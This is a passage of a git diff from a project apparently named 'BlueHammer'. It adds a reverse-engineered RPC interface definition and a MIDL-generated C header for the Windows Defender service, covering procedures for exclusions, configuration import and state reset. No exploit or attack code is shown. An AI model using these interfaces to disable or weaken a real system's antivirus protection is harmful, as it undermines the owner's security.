Proc214_ServerMpRpcGetUpToDateInfo( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out][ref]struct Struct_4314_t** arg_2, + [out]error_status_t* arg_3); + + long Proc215_ServerMpRpcSendDlpEventDataToEngine( + [in]struct Struct_4334_t* arg_1, + [out]error_status_t* arg_2); + + long Proc216_ServerMpRpcAccessibilityAsyncEvent( + [in]long arg_1, + [in]long arg_2, + [in]hyper arg_3, + [in][string] wchar_t* arg_4, + [out]error_status_t* arg_5); + + long Proc217_ServerMpRpcCacheManagerIsTrusted( + [in]long arg_1, + [in]hyper arg_2, + [in]hyper arg_3, + [out]error_status_t* arg_4); + + long Proc218_ServerMpRpcSCCGetState( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out][ref]struct Struct_4530_t** arg_2, + [out]error_status_t* arg_3); + + long Proc219_ServerMpRpcSCCReset( + [out]error_status_t* arg_1); + + long Proc220_ServerMpRpcImportConfigPayload( + [in][size_is(arg_2)]char* arg_1, + [in]long arg_2, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_3, + [out][ref]struct Struct_4650_t** arg_4, + [out]error_status_t* arg_5); + + long Proc221_ServerMpRpcGetConfigPayloadStatus( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_2, + [out][ref]struct Struct_4650_t** arg_3, + [out]error_status_t* arg_4); + + long Proc222_ServerMpRpcGetConfigValue( + [in]wchar_t* arg_1, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_2, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_3, + [out][ref]struct Struct_4734_t** arg_4, + [out]error_status_t* arg_5); + + long Proc223_ServerMpRpcEffectiveConfigurationReport( + [in][string] wchar_t* arg_1, + [out][ref][size_is(, *arg_3)]char** arg_2, + [out]long* arg_3, + [out]error_status_t* arg_4); + + long Proc224_ServerMpRpcGetDefenderStatusSummary( + [out]long* arg_1, + [out]error_status_t* arg_2); + + long Proc225_ServerMpRpcGetHIPSCustomRuleInfo( + [out]long* arg_1, + [out][ref] /* [DBG] FC_BOGUS_ARRAY */[size_is(, *arg_1)] /* */ struct Struct_3108_t*** arg_2, + [out]error_status_t* arg_3); + + long Proc226_ServerMpRpcGetTrustAnchors( + [in][unique][string] wchar_t* arg_1, + [in]long arg_2, + [out][ref]struct Struct_4886_t** arg_3, + [out]error_status_t* arg_4); + + long Proc227_ServerMpRpcDlpTriggerToast( + [in][string] wchar_t* arg_1, + [out]error_status_t* arg_2); + + long Proc228_ServerMpRpcGetRnBWFPFilters( + [out]long* arg_1, + [out][ref] /* [DBG] FC_BOGUS_ARRAY */[size_is(, *arg_1)] /* */ struct Struct_4918_t*** arg_2, + [out]error_status_t* arg_3); + + long Proc229_ServerMpRpcRemoveRnBWFPFilter( + [in]struct Struct_16_t* arg_1, + [out]error_status_t* arg_2); + + long Proc230_ServerMpRpcSenseTriggerToast( + [in]long arg_1, + [out]error_status_t* arg_2); + + long Proc231_ServerMpRpcWddControl( + [in]long arg_1, + [in][unique][size_is(arg_3)]char* arg_2, + [in]long arg_3, + [out][ref][size_is(, *arg_5)]char** arg_4, + [out]long* arg_5, + [out]error_status_t* arg_6); + + long Proc232_ServerMpRpcTemporaryExclusionAction( + [in]long arg_1, + [in][string] wchar_t* arg_2, + [out]error_status_t* arg_3); + + long Proc233_ServerMpOnDemandCancelScan( + [in][context_handle] void* arg_0, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out]error_status_t* arg_2); + + long Proc234_ServerMpRpcSCCForceReset( + [in][size_is(arg_2)]char* arg_1, + [in]long arg_2, + [out]error_status_t* arg_3); + + long Proc235_ServerMpRpcPublishModularConfig( + [in][string] wchar_t* arg_1, + [in][string] wchar_t* arg_2, + [in]long arg_3, + [out]error_status_t* arg_4); +} \ No newline at end of file diff --git a/BlueHammer/windefend_c.c b/BlueHammer/windefend_c.c new file mode 100644 index 0000000..ba4ded2 --- /dev/null +++ b/BlueHammer/windefend_c.c @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6c421080690de885a232a1aeb9df2a18ce9119e13b8ea110c5171803371b29a4 +size 1975946 diff --git a/BlueHammer/windefend_h.h b/BlueHammer/windefend_h.h new file mode 100644 index 0000000..3bfd23a --- /dev/null +++ b/BlueHammer/windefend_h.h @@ -0,0 +1,2586 @@ + + +/* this ALWAYS GENERATED file contains the definitions for the interfaces */ + + + /* File created by MIDL compiler version 8.01.0628 */ +/* at Mon Jan 18 19:14:07 2038 + */ +/* Compiler settings for windefend.idl: + Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 + protocol : all , ms_ext, c_ext, robust + error checks: allocation ref bounds_check enum stub_data + VC __declspec() decoration level: + __declspec(uuid()), __declspec(selectany), __declspec(novtable) + DECLSPEC_UUID(), MIDL_INTERFACE() +*/ +/* @@MIDL_FILE_HEADING( ) */ + + + +/* verify that the version is high enough to compile this file*/ +#ifndef __REQUIRED_RPCNDR_H_VERSION__ +#define __REQUIRED_RPCNDR_H_VERSION__ 500 +#endif + +#include "rpc.h" +#include "rpcndr.h" + +#ifndef __RPCNDR_H_VERSION__ +#error this stub requires an updated version of +#endif /* __RPCNDR_H_VERSION__ */ + + +#ifndef __windefend_h_h__ +#define __windefend_h_h__ + +#if defined(_MSC_VER) && (_MSC_VER >= 1020) +#pragma once +#endif + +#ifndef DECLSPEC_XFGVIRT +#if defined(_CONTROL_FLOW_GUARD_XFG) +#define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func)) +#else +#define DECLSPEC_XFGVIRT(base, func) +#endif +#endif + +/* Forward Declarations */ + +/* header files for imported files */ +#include "oaidl.h" +#include "ocidl.h" + +#ifdef __cplusplus +extern "C"{ +#endif + + +#ifndef __DefaultIfName_INTERFACE_DEFINED__ +#define __DefaultIfName_INTERFACE_DEFINED__ + +/* interface DefaultIfName */ +/* [version][uuid] */ + +typedef struct Struct_16_t + { + long StructMember0; + short StructMember1; + short StructMember2; + byte StructMember3[ 8 ]; + } Struct_16_t; + +typedef struct Struct_28_t + { + hyper StructMember0; + } Struct_28_t; + +typedef struct Struct_40_t + { + long StructMember0; + long StructMember1; + long StructMember2[ 4 ]; + } Struct_40_t; + +typedef struct Struct_58_t + { + long StructMember0; + hyper StructMember1; + hyper StructMember2; + hyper StructMember3; + hyper StructMember4; + hyper StructMember5[ 4 ]; + } Struct_58_t; + +typedef struct Struct_78_t + { + long StructMember0; + long StructMember1; + struct Struct_16_t StructMember2; + struct Struct_28_t StructMember3; + struct Struct_28_t StructMember4; + struct Struct_40_t StructMember5; + struct Struct_58_t StructMember6; + hyper StructMember7; + } Struct_78_t; + +typedef struct Struct_110_t + { + long StructMember0; + } Struct_110_t; + +typedef struct Struct_126_t + { + long StructMember0; + long StructMember1; + } Struct_126_t; + +typedef struct Struct_144_t + { + long StructMember0; + struct Struct_78_t StructMember1; + struct Struct_78_t StructMember2; + struct Struct_40_t StructMember3; + struct Struct_110_t StructMember4[ 4 ]; + struct Struct_126_t StructMember5[ 11 ]; + struct Struct_28_t StructMember6; + } Struct_144_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_222 + { + /* [case()][unique] */ struct Struct_444_t *unionMember_1; + /* [case()][unique] */ struct Struct_502_t *unionMember_3; + /* [case()][unique] */ struct Struct_530_t *unionMember_4; + /* [case()][unique] */ struct Struct_552_t *unionMember_5; + /* [case()][unique] */ struct Struct_576_t *unionMember_2; + /* [case()][unique] */ struct Struct_594_t *unionMember_6; + /* [case()][unique] */ struct Struct_110_t *unionMember_7; + /* [case()][unique] */ struct Struct_630_t *unionMember_8; + /* [case()][unique] */ struct Struct_674_t *unionMember_9; + /* [case()][unique] */ struct Struct_706_t *unionMember_10; + /* [case()][unique] */ struct Struct_756_t *unionMember_12; + /* [case()][unique] */ struct Struct_126_t *unionMember_13; + /* [case()][unique] */ struct Struct_780_t *unionMember_14; + /* [case()][unique] */ struct Struct_800_t *unionMember_15; + /* [case()][unique] */ struct Struct_110_t *unionMember_16; + /* [case()][unique] */ struct Struct_110_t *unionMember_17; + /* [case()][unique] */ struct Struct_820_t *unionMember_18; + /* [case()][unique] */ struct Struct_840_t *unionMember_19; + /* [case()][unique] */ struct Struct_856_t *unionMember_20; + /* [case()][unique] */ struct Struct_884_t *unionMember_21; + /* [case()][unique] */ struct Struct_954_t *unionMember_22; + } union_222; + +typedef /* [switch_type] */ /* [switch_type] */ union union_368 + { + /* [case()][unique] */ struct Struct_110_t *unionMember_0; + /* [case()][unique] */ struct Struct_110_t *unionMember_1; + /* [case()][unique] */ struct Struct_110_t *unionMember_2; + /* [case()][unique] */ struct Struct_110_t *unionMember_3; + /* [case()][unique] */ struct Struct_110_t *unionMember_4; + /* [case()][unique] */ struct Struct_110_t *unionMember_5; + /* [case()][unique] */ struct Struct_110_t *unionMember_6; + /* [case()][unique] */ struct Struct_110_t *unionMember_7; + /* [case()][unique] */ struct Struct_110_t *unionMember_8; + /* [case()][unique] */ struct Struct_110_t *unionMember_9; + /* [case()][unique] */ struct Struct_110_t *unionMember_10; + } union_368; + +typedef struct Struct_444_t + { + long StructMember0; + long StructMember1; + /* [switch_is] */ union union_368 StructMember2; + } Struct_444_t; + +typedef struct Struct_476_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + long StructMember3; + /* [size_is][unique] */ unsigned char *StructMember4; + } Struct_476_t; + +typedef struct Struct_502_t + { + long StructMember0; + /* [unique] */ struct Struct_476_t *StructMember1; + struct Struct_58_t StructMember2; + struct Struct_40_t StructMember3; + } Struct_502_t; + +typedef struct Struct_530_t + { + hyper StructMember0; + long StructMember1; + long StructMember2; + /* [unique] */ struct Struct_476_t *StructMember3; + } Struct_530_t; + +typedef struct Struct_552_t + { + /* [unique] */ struct Struct_476_t *StructMember0; + /* [unique] */ struct Struct_476_t *StructMember1; + } Struct_552_t; + +typedef struct Struct_576_t + { + hyper StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + } Struct_576_t; + +typedef struct Struct_594_t + { + long StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + } Struct_594_t; + +typedef struct Struct_630_t + { + long StructMember0; + /* [size_is][unique] */ unsigned char *StructMember1; + } Struct_630_t; + +typedef struct Struct_674_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + long StructMember2; + /* [size_is][unique] */ unsigned char *StructMember3; + long StructMember4; + /* [size_is][unique] */ unsigned char *StructMember5; + } Struct_674_t; + +typedef struct Struct_706_t + { + long StructMember0; + long StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + struct Struct_28_t StructMember3; + long StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + long StructMember7; + } Struct_706_t; + +typedef struct Struct_756_t + { + long StructMember0; + long StructMember1; + /* [size_is][unique] */ unsigned char *StructMember2; + } Struct_756_t; + +typedef struct Struct_780_t + { + struct Struct_126_t StructMember0; + struct Struct_126_t StructMember1; + long StructMember2; + long StructMember3; + } Struct_780_t; + +typedef struct Struct_800_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + } Struct_800_t; + +typedef struct Struct_820_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + } Struct_820_t; + +typedef struct Struct_840_t + { + long StructMember0; + hyper StructMember1; + } Struct_840_t; + +typedef struct Struct_856_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + } Struct_856_t; + +typedef struct Struct_884_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + long StructMember4; + } Struct_884_t; + +typedef struct Struct_916_t + { + long StructMember0; + long StructMember1; + /* [size_is][unique] */ unsigned char *StructMember2; + } Struct_916_t; + +typedef struct Struct_954_t + { + long StructMember0; + /* [size_is][unique] */ struct Struct_916_t *StructMember1; + } Struct_954_t; + +typedef struct Struct_970_t + { + long StructMember0; + long StructMember1; + struct Struct_28_t StructMember2; + long StructMember3; + /* [switch_is] */ union union_222 StructMember4; + } Struct_970_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_1078 + { + /* [case()][unique] */ struct Struct_110_t *unionMember_0; + /* [case()][unique] */ struct Struct_1118_t *unionMember_1; + /* [case()][unique] */ struct Struct_110_t *unionMember_2; + /* [case()][unique] */ struct Struct_110_t *unionMember_3; + /* [case()][unique] */ struct Struct_1156_t *unionMember_4; + } union_1078; + +typedef struct Struct_1118_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + hyper StructMember2; + hyper StructMember3; + long StructMember4; + long StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + /* [string][unique] */ wchar_t *StructMember7; + /* [string][unique] */ wchar_t *StructMember8; + } Struct_1118_t; + +typedef struct Struct_1156_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + long StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + } Struct_1156_t; + +typedef struct Struct_1232_t + { + hyper StructMember0; + struct Struct_16_t StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + long StructMember6; + long StructMember7; + long StructMember8; + long StructMember9; + long StructMember10[ 6 ]; + long StructMember11; + /* [size_is][unique] */ struct Struct_476_t **StructMember12; + struct Struct_28_t StructMember13; + long StructMember14; + long StructMember15; + struct Struct_16_t StructMember16; + long StructMember17; + /* [switch_is] */ union union_1078 StructMember18; + long StructMember19; + /* [string][unique] */ wchar_t *StructMember20; + long StructMember21; + /* [string][unique] */ wchar_t *StructMember22; + long StructMember23; + long StructMember24; + struct Struct_28_t StructMember25; + long StructMember26; + struct Struct_28_t StructMember27; + long StructMember28; + long StructMember29; + long StructMember30; + /* [string][unique] */ wchar_t *StructMember31; + long StructMember32; + /* [size_is][unique] */ struct Struct_476_t **StructMember33; + long StructMember34; + long StructMember35; + long StructMember36; + long StructMember37; + long StructMember38; + } Struct_1232_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_1370 + { + /* [case()][unique] */ struct Struct_1232_t *unionMember_1; + } union_1370; + +typedef struct Struct_1382_t + { + long StructMember0; + /* [switch_is] */ union union_1370 StructMember1; + } Struct_1382_t; + +typedef struct Struct_1434_t + { + long StructMember0; + /* [size_is][unique] */ hyper *StructMember1; + /* [size_is][unique] */ long *StructMember2; + } Struct_1434_t; + +typedef struct Struct_1516_t + { + hyper StructMember0; + struct Struct_28_t StructMember1; + } Struct_1516_t; + +typedef struct Struct_1536_t + { + struct Struct_1516_t StructMember0; + struct Struct_1516_t StructMember1; + struct Struct_1516_t StructMember2; + struct Struct_1516_t StructMember3; + struct Struct_1516_t StructMember4; + struct Struct_1516_t StructMember5; + struct Struct_1516_t StructMember6; + struct Struct_1516_t StructMember7; + struct Struct_1516_t StructMember8[ 4 ]; + } Struct_1536_t; + +typedef struct Struct_1682_t + { + long StructMember0; + hyper StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + long StructMember6; + /* [string][unique] */ wchar_t *StructMember7; + } Struct_1682_t; + +typedef struct Struct_1740_t + { + long StructMember0; + /* [size_is][unique] */ struct Struct_1682_t **StructMember1; + } Struct_1740_t; + +typedef struct Struct_1872_t + { + long StructMember0; + long StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + } Struct_1872_t; + +typedef struct Struct_1920_t + { + struct Struct_16_t StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + long StructMember6; + long StructMember7; + long StructMember8; + long StructMember9; + long StructMember10; + long StructMember11; + long StructMember12; + long StructMember13; + long StructMember14; + long StructMember15; + long StructMember16; + long StructMember17; + long StructMember18; + long StructMember19; + long StructMember20; + } Struct_1920_t; + +typedef struct Struct_1978_t + { + long StructMember0; + long StructMember1; + } Struct_1978_t; + +typedef struct Struct_2070_t + { + /* [string][unique] */ wchar_t *StructMember0; + } Struct_2070_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_2142 + { + /* [case()][unique] */ struct Struct_2194_t *unionMember_0; + /* [case()][unique] */ struct Struct_2208_t *unionMember_1; + /* [case()][unique] */ struct Struct_2270_t *unionMember_2; + /* [case()][unique] */ struct Struct_2300_t *unionMember_3; + /* [case()][unique] */ struct Struct_2314_t *unionMember_4; + /* [case()][unique] */ struct Struct_2356_t *unionMember_5; + /* [case()][unique] */ struct Struct_2408_t *unionMember_6; + } union_2142; + +typedef struct Struct_2194_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + } Struct_2194_t; + +typedef struct Struct_2208_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + hyper StructMember5; + long StructMember6; + struct Struct_16_t StructMember7; + hyper StructMember8; + /* [string][unique] */ wchar_t *StructMember9; + struct Struct_28_t StructMember10; + hyper StructMember11; + struct Struct_28_t StructMember12; + hyper StructMember13; + hyper StructMember14; + hyper StructMember15; + hyper StructMember16; + hyper StructMember17; + hyper StructMember18; + } Struct_2208_t; + +typedef struct Struct_2270_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + hyper StructMember4; + } Struct_2270_t; + +typedef struct Struct_2300_t + { + struct Struct_28_t StructMember0; + } Struct_2300_t; + +typedef struct Struct_2314_t + { + long StructMember0; + struct Struct_28_t StructMember1; + hyper StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + hyper StructMember5; + struct Struct_28_t StructMember6; + hyper StructMember7; + struct Struct_28_t StructMember8; + hyper StructMember9; + } Struct_2314_t; + +typedef struct Struct_2356_t + { + long StructMember0; + struct Struct_28_t StructMember1; + hyper StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + } Struct_2356_t; + +typedef struct Struct_2408_t + { + long StructMember0; + struct Struct_28_t StructMember1; + hyper StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + long StructMember5; + /* [size_is][unique] */ struct Struct_916_t *StructMember6; + } Struct_2408_t; + +typedef struct Struct_2442_t + { + long StructMember0; + /* [switch_is] */ union union_2142 StructMember1; + } Struct_2442_t; + +typedef struct Struct_2482_t + { + struct Struct_110_t StructMember0; + long StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + /* [size_is][unique] */ wchar_t *StructMember4; + long StructMember5; + /* [size_is][unique] */ wchar_t *StructMember6; + } Struct_2482_t; + +typedef struct Struct_2516_t + { + struct Struct_2442_t StructMember0; + struct Struct_2482_t StructMember1; + hyper StructMember2; + } Struct_2516_t; + +typedef struct Struct_2558_t + { + struct Struct_16_t StructMember0; + long StructMember1; + long StructMember2; + hyper StructMember3; + } Struct_2558_t; + +typedef struct Struct_2640_t + { + hyper StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + long StructMember6; + /* [size_is][unique] */ struct Struct_476_t **StructMember7; + long StructMember8; + long StructMember9; + } Struct_2640_t; + +typedef struct Struct_2672_t + { + long StructMember0; + long StructMember1; + hyper StructMember2; + } Struct_2672_t; + +typedef struct Struct_2680_t + { + long StructMember0; + struct Struct_2672_t StructMember1; + } Struct_2680_t; + +typedef struct Struct_2798_t + { + /* [string][unique] */ wchar_t *StructMember0; + hyper StructMember1; + long StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + } Struct_2798_t; + +typedef struct Struct_2854_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + } Struct_2854_t; + +typedef struct Struct_2900_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + } Struct_2900_t; + +typedef struct Struct_2986_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + } Struct_2986_t; + +typedef struct Struct_3040_t + { + long StructMember0; + /* [size_is][unique] */ struct Struct_2986_t **StructMember1; + long StructMember2; + /* [size_is][unique] */ unsigned char *StructMember3; + hyper StructMember4; + long StructMember5; + } Struct_3040_t; + +typedef struct Struct_3108_t + { + struct Struct_16_t StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + } Struct_3108_t; + +typedef struct Struct_3166_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + hyper StructMember2; + } Struct_3166_t; + +typedef struct Struct_3220_t + { + struct Struct_3166_t StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + struct Struct_16_t StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + unsigned char StructMember6[ 32 ]; + } Struct_3220_t; + +typedef struct Struct_3280_t + { + /* [string][unique] */ wchar_t *StructMember0; + } Struct_3280_t; + +typedef struct Struct_3302_t + { + long StructMember0; + /* [unique] */ struct Struct_3220_t *StructMember1; + /* [unique] */ struct Struct_3108_t *StructMember2; + } Struct_3302_t; + +typedef struct Struct_3350_t + { + long StructMember0; + long StructMember1; + long StructMember2; + } Struct_3350_t; + +typedef struct Struct_3370_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + /* [string][unique] */ wchar_t *StructMember7; + /* [string][unique] */ wchar_t *StructMember8; + /* [string][unique] */ wchar_t *StructMember9; + hyper StructMember10; + long StructMember11; + hyper StructMember12; + long StructMember13; + long StructMember14; + /* [string][unique] */ wchar_t *StructMember15; + /* [string][unique] */ wchar_t *StructMember16; + short StructMember17; + short StructMember18; + /* [string][unique] */ wchar_t *StructMember19; + long StructMember20; + long StructMember21; + } Struct_3370_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3514 + { + /* [case()][unique] */ struct Struct_3552_t *unionMember_0; + } union_3514; + +typedef struct Struct_3552_t + { + hyper StructMember0; + long StructMember1; + /* [size_is][unique] */ struct Struct_476_t **StructMember2; + } Struct_3552_t; + +typedef struct Struct_3570_t + { + long StructMember0; + /* [switch_is] */ union union_3514 StructMember1; + } Struct_3570_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3624 + { + /* [case()][unique] */ struct Struct_3640_t *unionMember_1; + } union_3624; + +typedef struct Struct_3640_t + { + hyper StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + } Struct_3640_t; + +typedef struct Struct_3654_t + { + long StructMember0; + /* [switch_is] */ union union_3624 StructMember1; + } Struct_3654_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3714 + { + /* [case()][unique] */ struct Struct_3742_t *unionMember_1; + /* [case()][unique] */ struct Struct_3762_t *unionMember_2; + /* [case()][unique] */ struct Struct_3782_t *unionMember_3; + } union_3714; + +typedef struct Struct_3742_t + { + long StructMember0; + long StructMember1; + hyper StructMember2; + hyper StructMember3; + long StructMember4; + } Struct_3742_t; + +typedef struct Struct_3762_t + { + /* [unique] */ struct Struct_3742_t *StructMember0; + long StructMember1; + } Struct_3762_t; + +typedef struct Struct_3782_t + { + /* [unique] */ struct Struct_3762_t *StructMember0; + long StructMember1; + hyper StructMember2; + } Struct_3782_t; + +typedef struct Struct_3800_t + { + long StructMember0; + /* [switch_is] */ union union_3714 StructMember1; + } Struct_3800_t; + +typedef struct Struct_3824_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + } Struct_3824_t; + +typedef struct Struct_3880_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + } Struct_3880_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3928 + { + /* [case()][unique] */ struct Struct_3944_t *unionMember_1; + } union_3928; + +typedef struct Struct_3944_t + { + long StructMember0; + long StructMember1; + long StructMember2; + hyper StructMember3; + } Struct_3944_t; + +typedef struct Struct_3958_t + { + long StructMember0; + /* [switch_is] */ union union_3928 StructMember1; + } Struct_3958_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3992 + { + /* [case()][unique] */ struct Struct_4044_t *unionMember_1; + /* [case()][unique] */ struct Struct_4066_t *unionMember_2; + /* [case()][unique] */ struct Struct_4086_t *unionMember_3; + /* [case()][unique] */ struct Struct_4118_t *unionMember_4; + /* [case()][unique] */ struct Struct_4142_t *unionMember_5; + } union_3992; + +typedef struct Struct_4044_t + { + long StructMember0; + long StructMember1; + long StructMember2; + /* [size_is][unique] */ unsigned char *StructMember3; + } Struct_4044_t; + +typedef struct Struct_4066_t + { + struct Struct_4044_t StructMember0; + long StructMember1; + } Struct_4066_t; + +typedef struct Struct_4086_t + { + struct Struct_4066_t StructMember0; + long StructMember1; + } Struct_4086_t; + +typedef struct Struct_4118_t + { + struct Struct_4086_t StructMember0; + long StructMember1; + long StructMember2; + /* [size_is][unique] */ unsigned char *StructMember3; + } Struct_4118_t; + +typedef struct Struct_4142_t + { + struct Struct_4118_t StructMember0; + long StructMember1; + } Struct_4142_t; + +typedef struct Struct_4158_t + { + long StructMember0; + /* [switch_is] */ union union_3992 StructMember1; + } Struct_4158_t; + +typedef struct Struct_4178_t + { + long StructMember0; + long StructMember1; + struct Struct_126_t StructMember2; + } Struct_4178_t; + +typedef struct Struct_4194_t + { + long StructMember0; + long StructMember1; + hyper StructMember2; + hyper StructMember3; + hyper StructMember4; + } Struct_4194_t; + +typedef struct Struct_4208_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + long StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + long StructMember7; + struct Struct_126_t StructMember8; + long StructMember9; + long StructMember10; + /* [string][unique] */ wchar_t *StructMember11; + long StructMember12; + long StructMember13; + long StructMember14; + long StructMember15; + } Struct_4208_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_4280 + { + /* [case()][unique] */ struct Struct_4296_t *unionMember_1; + } union_4280; + +typedef struct Struct_4296_t + { + long StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + hyper StructMember4; + struct Struct_1516_t StructMember5; + struct Struct_1516_t StructMember6; + } Struct_4296_t; + +typedef struct Struct_4314_t + { + long StructMember0; + /* [switch_is] */ union union_4280 StructMember1; + } Struct_4314_t; + +typedef struct Struct_4334_t + { + long StructMember0; + long StructMember1; + struct Struct_126_t StructMember2; + long StructMember3; + long StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + /* [string][unique] */ wchar_t *StructMember7; + /* [string][unique] */ wchar_t *StructMember8; + /* [string][unique] */ wchar_t *StructMember9; + /* [string][unique] */ wchar_t *StructMember10; + /* [string][unique] */ wchar_t *StructMember11; + /* [string][unique] */ wchar_t *StructMember12; + /* [string][unique] */ wchar_t *StructMember13; + /* [string][unique] */ wchar_t *StructMember14; + /* [string][unique] */ wchar_t *StructMember15; + /* [string][unique] */ wchar_t *StructMember16; + /* [string][unique] */ wchar_t *StructMember17; + /* [string][unique] */ wchar_t *StructMember18; + /* [string][unique] */ wchar_t *StructMember19; + /* [string][unique] */ wchar_t *StructMember20; + /* [string][unique] */ wchar_t *StructMember21; + /* [string][unique] */ wchar_t *StructMember22; + /* [string][unique] */ wchar_t *StructMember23; + /* [string][unique] */ wchar_t *StructMember24; + /* [string][unique] */ wchar_t *StructMember25; + /* [string][unique] */ wchar_t *StructMember26; + /* [string][unique] */ wchar_t *StructMember27; + /* [string][unique] */ wchar_t *StructMember28; + /* [string][unique] */ wchar_t *StructMember29; + } Struct_4334_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_4494 + { + /* [case()][unique] */ struct Struct_4510_t *unionMember_1; + } union_4494; + +typedef struct Struct_4510_t + { + long StructMember0; + long StructMember1; + hyper StructMember2; + long StructMember3; + long StructMember4; + hyper StructMember5; + /* [unique] */ wchar_t *StructMember6; + } Struct_4510_t; + +typedef struct Struct_4530_t + { + long StructMember0; + /* [switch_is] */ union union_4494 StructMember1; + } Struct_4530_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_4580 + { + /* [case()][unique] */ struct Struct_4620_t *unionMember_1; + } union_4580; + +typedef struct Struct_4620_t + { + /* [size_is][unique] */ unsigned char *StructMember0; + long StructMember1; + /* [size_is][unique] */ unsigned char *StructMember2; + long StructMember3; + hyper StructMember4; + long StructMember5; + long StructMember6; + long StructMember7; + long StructMember8; + long StructMember9; + } Struct_4620_t; + +typedef struct Struct_4650_t + { + long StructMember0; + /* [switch_is] */ union union_4580 StructMember1; + } Struct_4650_t; + +typedef /* [switch_type] */ 